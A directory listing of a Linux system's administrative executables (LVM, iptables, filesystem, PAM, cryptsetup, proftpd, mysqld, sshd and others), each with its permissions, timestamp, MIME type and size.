-rwxr-xr-x
2022-03-18 12:36:33
cache_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_metadata_size
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_repair
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_writeback
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
capsh
application/x-pie-executable
30.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
cfdisk
application/x-pie-executable
94.73 KB
-rwxr-xr-x
2026-03-06 04:10:04
cgdisk
application/x-pie-executable
150.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
chcpu
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
check_forensic
text/x-shellscript
952 B
-rwxr-xr-x
2011-04-26 03:10:00
chgpasswd
application/x-pie-executable
58.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
chmem
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
chpasswd
application/x-pie-executable
54.16 KB
-rwxr-xr-x
2024-02-06 12:54:23
chroot
application/x-pie-executable
38.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
cpgr
application/x-pie-executable
48.29 KB
-rwxr-xr-x
2024-02-06 12:54:23
cppw
application/x-pie-executable
48.29 KB
-rwxr-xr-x
2024-02-06 12:54:23
cron
application/x-pie-executable
50.58 KB
-rwxr-xr-x
2022-03-23 01:49:13
cryptdisks_start
text/x-shellscript
1.51 KB
-rwxr-xr-x
2022-01-13 09:44:36
cryptdisks_stop
text/x-shellscript
844 B
-rwxr-xr-x
2022-01-13 09:44:36
cryptsetup
application/x-pie-executable
169.55 KB
-rwxr-xr-x
2024-11-14 03:21:19
cryptsetup-reencrypt
application/x-pie-executable
90.38 KB
-rwxr-xr-x
2024-11-14 03:21:19
cryptsetup-ssh
application/x-pie-executable
23.53 KB
-rwxr-xr-x
2024-11-14 03:21:19
ctrlaltdel
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
dbconfig-generate-include
text/x-shellscript
12.36 KB
-rwxr-xr-x
2021-12-17 08:18:02
dbconfig-load-include
text/x-shellscript
5.57 KB
-rwxr-xr-x
2021-12-17 08:18:02
dcb
application/x-pie-executable
80.52 KB
-rwxr-xr-x
2026-04-15 07:15:26
debugfs
application/x-pie-executable
229.8 KB
-rwxr-xr-x
2023-10-09 01:50:10
delgroup
text/x-perl
16.11 KB
-rwxr-xr-x
2021-01-06 06:16:50
deluser
text/x-perl
16.11 KB
-rwxr-xr-x
2021-01-06 06:16:50
depmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
devlink
application/x-pie-executable
142.86 KB
-rwxr-xr-x
2026-04-15 07:15:26
dhclient
application/x-pie-executable
442.66 KB
-rwxr-xr-x
2023-01-31 09:54:40
dhclient-script
text/x-shellscript
15.92 KB
-rwxr-xr-x
2023-01-31 09:54:40
dmeventd
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2024-11-27 07:04:29
dmidecode
application/x-pie-executable
122.98 KB
-rwxr-xr-x
2024-10-14 08:28:46
dmsetup
application/x-pie-executable
171.02 KB
-rwxr-xr-x
2024-11-27 07:04:29
dmstats
application/x-pie-executable
171.02 KB
-rwxr-xr-x
2024-11-27 07:04:29
dosfsck
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
dosfslabel
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
dpkg-preconfigure
text/x-perl
3.58 KB
-rwxr-xr-x
2022-02-20 02:42:49
dpkg-reconfigure
text/x-perl
4.38 KB
-rwxr-xr-x
2022-02-20 02:42:49
dumpe2fs
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2freefrag
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2fsck
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2image
application/x-pie-executable
42.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2label
application/x-pie-executable
102.55 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2mmpstatus
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2scrub
text/x-shellscript
7.13 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2scrub_all
text/x-shellscript
5.27 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2undo
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
e4crypt
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2023-10-09 01:50:10
e4defrag
application/x-pie-executable
30.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
ebtables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
era_check
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_invalidate
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
ethtool
application/x-pie-executable
551.48 KB
-rwxr-xr-x
2025-03-07 02:22:37
faillock
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
fatlabel
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fdisk
application/x-pie-executable
110.42 KB
-rwxr-xr-x
2026-03-06 04:10:04
filefrag
application/x-pie-executable
18.32 KB
-rwxr-xr-x
2023-10-09 01:50:10
findfs
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
fixparts
application/x-pie-executable
58.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
fsadm
text/x-shellscript
23.94 KB
-rwxr-xr-x
2024-11-27 07:04:29
fsck
application/x-pie-executable
42.42 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.btrfs
text/x-shellscript
1.16 KB
-rwxr-xr-x
2022-02-24 05:39:55
fsck.cramfs
application/x-pie-executable
30.44 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.ext2
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.ext3
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.ext4
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.fat
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.minix
application/x-pie-executable
54.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.msdos
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.vfat
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.xfs
text/x-shellscript
1.89 KB
-rwxr-xr-x
2024-10-17 06:49:09
fsfreeze
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
fstab-decode
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2021-12-14 09:17:22
fstrim
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
ftpasswd
text/x-perl
37.11 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpmail
text/x-perl
13.63 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpquota
text/x-perl
32.2 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpscrub
application/x-pie-executable
23.66 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpshut
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpstats
text/x-perl
12.16 KB
-rwxr-xr-x
2025-02-05 01:53:13
gdisk
application/x-pie-executable
174.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
genl
application/x-pie-executable
90.44 KB
-rwxr-xr-x
2026-04-15 07:15:26
getcap
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
getpcaps
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
getty
application/x-pie-executable
55.56 KB
-rwxr-xr-x
2026-03-06 04:10:04
groupadd
application/x-pie-executable
66.91 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupdel
application/x-pie-executable
62.73 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupmems
application/x-pie-executable
54.19 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupmod
application/x-pie-executable
66.82 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpck
application/x-pie-executable
58.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpconv
application/x-pie-executable
50.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpunconv
application/x-pie-executable
50.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
grub-bios-setup
application/x-pie-executable
941.42 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-install
application/x-pie-executable
1.15 MB
-rwxr-xr-x
2022-12-18 09:21:26
grub-macbless
application/x-pie-executable
929.11 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkconfig
text/x-shellscript
8.6 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkdevicemap
application/x-pie-executable
215.7 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-probe
application/x-pie-executable
941.36 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-reboot
text/x-shellscript
4.73 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-set-default
text/x-shellscript
3.47 KB
-rwxr-xr-x
2022-12-18 09:21:26
halt
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
hdparm
application/x-pie-executable
139.43 KB
-rwxr-xr-x
2022-03-23 01:57:38
httxt2dbm
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-07-06 04:41:46
hwclock
application/x-pie-executable
50.5 KB
-rwxr-xr-x
2026-03-06 04:10:04
iconvconfig
application/x-pie-executable
30.4 KB
-rwxr-xr-x
2026-07-24 12:11:17
in.proftpd
application/x-pie-executable
1.17 MB
-rwxr-xr-x
2025-02-05 01:53:13
init
application/x-pie-executable
1.76 MB
-rwxr-xr-x
2026-06-05 03:40:28
insmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
installkernel
text/x-shellscript
2.6 KB
-rwxr-xr-x
2022-03-23 01:49:54
integritysetup
application/x-pie-executable
54.07 KB
-rwxr-xr-x
2024-11-14 03:21:19
invoke-rc.d
text/x-shellscript
16.12 KB
-rwxr-xr-x
2021-12-07 09:55:54
ip
application/x-pie-executable
702.05 KB
-rwxr-xr-x
2026-04-15 07:15:26
ip6tables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-apply
text/x-shellscript
6.89 KB
-rwxr-xr-x
2021-01-15 10:03:39
ip6tables-legacy
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-legacy-restore
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-legacy-save
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-restore-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-apply
text/x-shellscript
6.89 KB
-rwxr-xr-x
2021-01-15 10:03:39
iptables-legacy
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-legacy-restore
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-legacy-save
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-restore-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
irqbalance
application/x-pie-executable
66.86 KB
-rwxr-xr-x
2023-10-16 09:22:18
irqbalance-ui
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2023-10-16 09:22:18
iscsi-iname
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsi_discovery
text/x-shellscript
5.17 KB
-rwxr-xr-x
2021-09-05 11:32:54
iscsiadm
application/x-pie-executable
398.46 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsid
application/x-pie-executable
298.55 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsistart
application/x-pie-executable
278.56 KB
-rwxr-xr-x
2025-02-11 03:06:32
isosize
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
iucode-tool
application/x-pie-executable
58.34 KB
-rwxr-xr-x
2021-10-07 10:13:17
iucode_tool
application/x-pie-executable
58.34 KB
-rwxr-xr-x
2021-10-07 10:13:17
kbdrate
application/x-pie-executable
18.16 KB
-rwxr-xr-x
2022-12-16 02:14:33
killall5
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2021-12-14 09:17:22
kpartx
application/x-pie-executable
46.16 KB
-rwxr-xr-x
2023-10-31 10:21:59
ldattach
application/x-pie-executable
26.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
ldconfig
text/x-shellscript
387 B
-rwxr-xr-x
2026-07-24 12:11:17
ldconfig.real
application/x-pie-executable
1.16 MB
-rwxr-xr-x
2026-07-24 12:11:17
locale-gen
text/x-shellscript
4.29 KB
-rwxr-xr-x
2025-07-15 09:40:00
logrotate
application/x-pie-executable
102.24 KB
-rwxr-xr-x
2022-05-25 02:10:26
logsave
application/x-pie-executable
14.16 KB
-rwxr-xr-x
2023-10-09 01:50:10
losetup
application/x-pie-executable
70.52 KB
-rwxr-xr-x
2026-03-06 04:10:04
lsmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
luksformat
text/x-perl
3.32 KB
-rwxr-xr-x
2022-01-13 09:44:36
lvchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvconvert
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvcreate
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvextend
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvm
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmconfig
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmdiskscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmdump
text/x-shellscript
10.07 KB
-rwxr-xr-x
2024-11-27 07:04:29
lvmpolld
application/x-pie-executable
236.2 KB
-rwxr-xr-x
2024-11-27 07:04:29
lvmsadc
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmsar
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvreduce
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvrename
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvresize
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
make-bcache
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2022-03-23 09:42:55
make-ssl-cert
text/x-shellscript
6.65 KB
-rwxr-xr-x
2021-12-30 04:52:53
mdadm
application/x-pie-executable
601.31 KB
-rwxr-xr-x
2023-04-11 03:22:59
mdmon
application/x-pie-executable
258.44 KB
-rwxr-xr-x
2023-04-11 03:22:59
mkdosfs
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mke2fs
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.bfs
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.btrfs
application/x-pie-executable
471.25 KB
-rwxr-xr-x
2022-02-24 05:39:55
mkfs.cramfs
application/x-pie-executable
34.32 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.ext2
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.ext3
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.ext4
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.fat
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.minix
application/x-pie-executable
42.39 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.msdos
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.ntfs
application/x-pie-executable
70.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
mkfs.vfat
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.xfs
application/x-pie-executable
382.77 KB
-rwxr-xr-x
2024-10-17 06:49:09
mkhomedir_helper
application/x-pie-executable
22.17 KB
-rwxr-xr-x
2026-07-16 02:06:00
mkinitramfs
text/x-shellscript
12.16 KB
-rwxr-xr-x
2024-03-19 12:06:27
mklost+found
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkntfs
application/x-pie-executable
70.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
mkswap
application/x-pie-executable
46.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
modinfo
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
modprobe
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
mount.fuse
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2022-03-23 01:53:14
mount.fuse3
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2022-03-23 01:53:14
mount.lowntfs-3g
application/x-pie-executable
114.98 KB
-rwxr-xr-x
2026-07-11 03:55:48
mount.ntfs
application/x-pie-executable
159.01 KB
-rwxr-xr-x
2026-07-11 03:55:48
mount.ntfs-3g
application/x-pie-executable
159.01 KB
-rwxr-xr-x
2026-07-11 03:55:48
mpathpersist
application/x-pie-executable
31.05 KB
-rwxr-xr-x
2023-10-31 10:21:59
multipath
application/x-pie-executable
34.15 KB
-rwxr-xr-x
2023-10-31 10:21:59
multipathd
application/x-pie-executable
134.26 KB
-rwxr-xr-x
2023-10-31 10:21:59
mysqld
application/x-pie-executable
53.01 MB
-rwxr-xr-x
2026-06-20 11:54:34
needrestart
text/x-perl
38.73 KB
-rwxr-xr-x
2025-09-10 07:15:59
netplan
text/x-script.python
802 B
-rwxr-xr-x
2023-12-12 04:56:47
newusers
application/x-pie-executable
74.73 KB
-rwxr-xr-x
2024-02-06 12:54:23
nfnl_osf
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2024-01-16 09:14:30
nft
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2026-02-24 08:38:43
nologin
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2024-02-06 12:54:23
ntfsclone
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfscp
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfslabel
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsresize
application/x-pie-executable
62.39 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsundelete
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
on_ac_power
text/x-shellscript
3.7 KB
-rwxr-xr-x
2025-06-04 02:47:30
overlayroot-chroot
text/x-shellscript
2.45 KB
-rwxr-xr-x
2020-08-17 04:00:58
ownership
application/x-pie-executable
14.45 KB
-rwxr-xr-x
2024-10-14 08:28:46
pam-auth-update
text/x-perl
20.5 KB
-rwxr-xr-x
2024-11-17 10:17:22
pam_extrausers_chkpwd
application/x-pie-executable
22.15 KB
-rwxr-sr-x
2026-07-16 02:06:00
pam_extrausers_update
application/x-pie-executable
30.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
pam_getenv
text/x-perl
2.82 KB
-rwxr-xr-x
2024-11-17 10:17:22
pam_timestamp_check
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
paperconfig
text/x-shellscript
4.07 KB
-rwxr-xr-x
2022-03-24 12:14:21
parted
application/x-pie-executable
86.4 KB
-rwxr-xr-x
2022-03-24 04:22:22
partprobe
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2022-03-24 04:22:22
pdata_tools
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
phpdismod
text/x-shellscript
7.11 KB
-rwxr-xr-x
2024-12-04 03:44:19
phpenmod
text/x-shellscript
7.11 KB
-rwxr-xr-x
2024-12-04 03:44:19
phpquery
text/x-shellscript
6.24 KB
-rwxr-xr-x
2024-12-04 03:44:19
pivot_root
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
plymouthd
application/x-pie-executable
150.55 KB
-rwxr-xr-x
2022-03-18 10:45:18
poweroff
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
proftpd
application/x-pie-executable
1.17 MB
-rwxr-xr-x
2025-02-05 01:53:13
proftpd-gencert
text/x-shellscript
1.64 KB
-rwxr-xr-x
2021-08-30 06:35:11
pvchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvck
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvcreate
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvmove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvresize
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pwck
application/x-pie-executable
50.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
pwconv
application/x-pie-executable
46.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
pwunconv
application/x-pie-executable
42.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
readprofile
application/x-pie-executable
22.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
reboot
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
remove-shell
text/x-shellscript
1.07 KB
-rwxr-xr-x
2022-03-23 01:49:54
resize2fs
application/x-pie-executable
66.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
rmmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
rmt
application/x-pie-executable
58.57 KB
-rwxr-xr-x
2026-07-20 02:42:36
rmt-tar
application/x-pie-executable
58.57 KB
-rwxr-xr-x
2026-07-20 02:42:36
rsyslogd
application/x-pie-executable
767.19 KB
-rwxr-xr-x
2026-07-20 04:31:06
rtacct
application/x-pie-executable
28.31 KB
-rwxr-xr-x
2026-04-15 07:15:26
rtcwake
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
rtmon
application/x-pie-executable
90.39 KB
-rwxr-xr-x
2026-04-15 07:15:26
runlevel
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
runuser
application/x-pie-executable
54.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
service
text/x-shellscript
8.88 KB
-rwxr-xr-x
2022-02-15 10:32:46
setcap
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
setvesablank
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
setvtrgb
application/x-pie-executable
14.29 KB
-rwxr-xr-x
2022-12-16 02:14:33
sfdisk
application/x-pie-executable
102.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
sgdisk
application/x-pie-executable
162.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
shadowconfig
text/x-shellscript
885 B
-rwxr-xr-x
2021-11-11 03:42:38
shutdown
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
split-logfile
text/x-perl
2.36 KB
-rwxr-xr-x
2026-07-06 04:41:46
sshd
application/x-pie-executable
899.7 KB
-rwxr-xr-x
2026-07-09 06:38:00
start-stop-daemon
application/x-pie-executable
47.35 KB
-rwxr-xr-x
2025-09-09 08:09:16
sudo_logsrvd
application/x-pie-executable
200.1 KB
-rwxr-xr-x
2026-03-02 01:08:06
sudo_sendlog
application/x-pie-executable
107.34 KB
-rwxr-xr-x
2026-03-02 01:08:06
sulogin
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swaplabel
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swapoff
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swapon
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
switch_root
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
sysctl
application/x-pie-executable
30.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
tarcat
text/x-shellscript
936 B
-rwxr-xr-x
2026-07-20 02:42:36
tc
application/x-pie-executable
618.08 KB
-rwxr-xr-x
2026-04-15 07:15:26
telinit
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
thermald
application/x-pie-executable
554.6 KB
-rwxr-xr-x
2023-08-10 07:36:06
thin_check
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_delta
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_ls
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_metadata_size
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_repair
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_rmap
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_trim
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
tipc
application/x-pie-executable
90.44 KB
-rwxr-xr-x
2026-04-15 07:15:26
tune2fs
application/x-pie-executable
102.55 KB
-rwxr-xr-x
2023-10-09 01:50:10
tzconfig
text/x-shellscript
106 B
-rwxr-xr-x
2026-07-17 12:51:09
u-d-c-print-pci-ids
text/x-shellscript
517 B
-rwxr-xr-x
2024-07-05 08:55:40
ufw
text/x-script.python
4.82 KB
-rwxr-xr-x
2023-07-17 01:55:25
umount.udisks2
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-08-21 02:17:01
unix_chkpwd
application/x-pie-executable
26.15 KB
-rwxr-sr-x
2026-07-16 02:06:00
unix_update
application/x-pie-executable
30.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
update-ca-certificates
text/x-shellscript
5.29 KB
